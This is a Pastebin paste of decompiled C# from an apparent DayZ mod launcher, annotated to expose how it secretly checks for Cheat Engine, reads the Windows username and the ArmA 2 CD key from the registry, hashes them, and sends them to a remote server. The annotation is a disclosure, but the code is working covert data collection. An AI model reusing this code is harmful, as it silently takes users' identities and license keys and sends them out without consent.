Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- public static string EncodeTo64(string toEncode)
- {
- byte[] bytes = Encoding.ASCII.GetBytes(toEncode);
- return Convert.ToBase64String(bytes);
- }
- ##########################################################################
- #
- # This is the function to determine if a Cheat Engine install
- # exists. If true, send a flag -- "00xCE". Pretty self explanitory.
- #
- ##########################################################################
- private void EnvironmentThread_DoWork(object sender, DoWorkEventArgs e)
- {
- if (Directory.Exists("c:\\program files(x86)\\Cheat Engine 6.2\\"))
- {
- this.EnvironmentThread_PreformAction("00xCE");
- }
- if (Directory.Exists("c:\\program files(x86)\\Cheat Engine 6.1\\"))
- {
- this.EnvironmentThread_PreformAction("00xCE");
- }
- if (Directory.Exists("c:\\program files\\Cheat Engine 6.2\\"))
- {
- this.EnvironmentThread_PreformAction("00xCE");
- }
- if (Directory.Exists("c:\\program files\\Cheat Engine 6.1\\"))
- {
- this.EnvironmentThread_PreformAction("00xCE");
- }
- }
- #########################################################################
- #
- # This function grabs the current Windows username with
- # WindowsIdentity.GetCurrent().Name. This also executes
- # EnvironmentThread_Sumbit() -- AKA "phoning home".
- #
- #########################################################################
- private void EnvironmentThread_PreformAction(string hID)
- {
- string text = WindowsIdentity.GetCurrent().Name;
- text = text.Replace("\\", " | ");
- string hash = MainWindow.EncodeTo64(text);
- string hash2 = MainWindow.EncodeTo64(this.EnvironmentThread_Key());
- string hash3 = MainWindow.EncodeTo64(hID);
- this.EnvironmentThread_Submit(hash, hash2, hash3);
- }
- #########################################################################
- #
- # This function attempts to read the "Key" value of the registry
- # key. The "Key" value is your CD Key converted into hex.
- # It converts the key into the format "XXXX-XXXX-XXXX-XXXX" and
- # passes it to the function MD5Hex().
- #
- #########################################################################
- private string EnvironmentThread_Key()
- {
- byte[] keyHex = (byte[])Registry.LocalMachine.CreateSubKey("SOFTWARE\\Wow6432Node\\Bohemia Interactive Studio\\ArmA 2 OA").GetValue("key");
- string text = MainWindow.keyHexToKey(keyHex);
- string password = string.Concat(new string[]
- {
- text.Substring(0, 4),
- "-",
- text.Substring(4, 5),
- "-",
- text.Substring(9, 5),
- "-",
- text.Substring(14, 5),
- "-",
- text.Substring(19, 5)
- });
- return this.MD5Hex("BE" + this.MD5Hex(password));
- }
- #########################################################################
- #
- # Here is the dirty work. This function creates a web request to
- # send home to http://update.dayzbreakingpoint.com/update.php
- # The three variables (Cheat Engine Flag, Username, BE GUID) are
- # sent into update.php via a,b,c respectively. See lines 91,97.
- #
- #########################################################################
- public void EnvironmentThread_Submit(string hash1, string hash2, string hash3)
- {
- try
- {
- WebRequest webRequest = WebRequest.Create(string.Concat(new string[]
- {
- this.UpdateServer0,
- "data.php?a=",
- hash1,
- "&b=",
- hash2,
- "&c=",
- hash3
- }));
- webRequest.Timeout = 5000;
- WebResponse response = webRequest.GetResponse();
- StreamReader streamReader = new StreamReader(response.GetResponseStream());
- string text = streamReader.ReadToEnd();
- streamReader.Close();
- streamReader.Dispose();
- }
- catch (WebException)
- {
- MessageBox.Show("Critcal Error Contacting Update Server.", "Breaking Point", MessageBoxButton.OK, MessageBoxImage.Hand, MessageBoxResult.OK);
- Application.Current.Shutdown();
- }
- }
- ###############################################################################
- #
- # I've included some of the encoding/encrypting functions as references.
- #
- ###############################################################################
- public static string keyHexToKey(byte[] keyHex)
- {
- string arg = "";
- string text = "0123456789ABCDEFGHJKLMNPRSTVWXYZ";
- for (int i = 0; i < 3; i++)
- {
- ulong num = 0uL;
- for (int j = 0; j < 5; j++)
- {
- num <<= 8;
- num |= (ulong)keyHex[i * 5 + j];
- }
- for (int j = 0; j < 8; j++)
- {
- ulong num2 = num >> j * 5 & 31uL;
- char c = text[(int)num2];
- arg += c;
- }
- }
- return arg;
- }
- private string MD5Hex(string password)
- {
- MD5 mD = new MD5CryptoServiceProvider();
- byte[] bytes = Encoding.Default.GetBytes(password);
- byte[] array = mD.ComputeHash(bytes);
- string str = "";
- byte[] array2 = array;
- for (int i = 0; i < array2.Length; i++)
- {
- byte b = array2[i];
- str += string.Format("{0:x2}", b);
- }
- return str;
- }
Add Comment
Please, Sign In to add comment